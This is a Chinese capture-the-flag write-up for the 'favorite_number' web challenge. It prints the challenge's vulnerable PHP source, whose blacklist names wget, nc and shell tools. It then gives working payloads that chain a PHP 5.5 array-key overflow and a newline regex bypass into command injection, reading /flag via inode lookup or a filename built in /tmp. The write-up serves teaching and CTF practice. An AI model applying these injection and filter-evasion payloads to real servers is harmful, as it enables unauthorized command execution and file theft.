攻防世界-web-favorite_number(php5.5的数组key溢出、换行符绕过正则跨行匹配、inode号绕过文件名过滤、文件输出绕过正则)
进入界面
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
简单的代码审计
- 首先是个判断,既要数组强等于,又要首元素不等
- 然后是个正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测
-
- ^和$ 匹配字符串开头和结尾
- /d 匹配数字
- /i 表示匹配的时候不区分大小写
- /m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
- 接着是个黑名单,把常用的可以执行的代码命令都排除了
- 最后是一个system函数,可以执行外部程式并且显示输出
所以本题的解题思路是,先绕过前面3个if判断,然后利用system()执行外部命令。
一 数组比较绕过:通过php5.5版本的数组key溢出漏洞
参考数组的key溢出问题
payload如下(4294967296=2^32)
stuff[4294967296]=admin&stuff[1]=user&num=123
或者
stuff[-4294967296]=admin&stuff[1]=user&num=123
成功绕过第一个if判断。
二 换行符绕过正则跨行匹配
然后尝试绕过数字检测,可以使用换行符%0a绕过跨行匹配。
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
这里不能使用hackbar来执行payload,因为火狐浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。
使用burp,成功绕过数字检测,执行ls命令。
三 黑名单绕过
查看系统根目录,我们发现了flag文件。
本来应该执行cat /flag我们就可以直接得到flag。但是由于第三个if判断过滤掉了cat和flag以及其他的一些特殊字符。我们就只能想别的办法了。
linux系统习下查看文件内容的方法有如下
除了cat在黑名单中被过滤了外,其他的我们都可以使用,比如这里我们用tac。
文件名绕过则有两个比较好用的方法
方法1 用inode索引节点
先使用ls -i命令寻找flag的inode号,payload如下
然后,读取flag(使用`绕过单双引号过滤)
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 38406195`
方法2 将文件名输出到文件里,然后执行文件。
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello && printf g >> /tmp/hello && tac `tac /tmp/hello`
知识点小结
- php5.5的数组key溢出
- 换行符绕过正则跨行匹配
- inode绕过正则
- 文件输出绕过正则
参考:https://www.freesion.com/article/93221418160/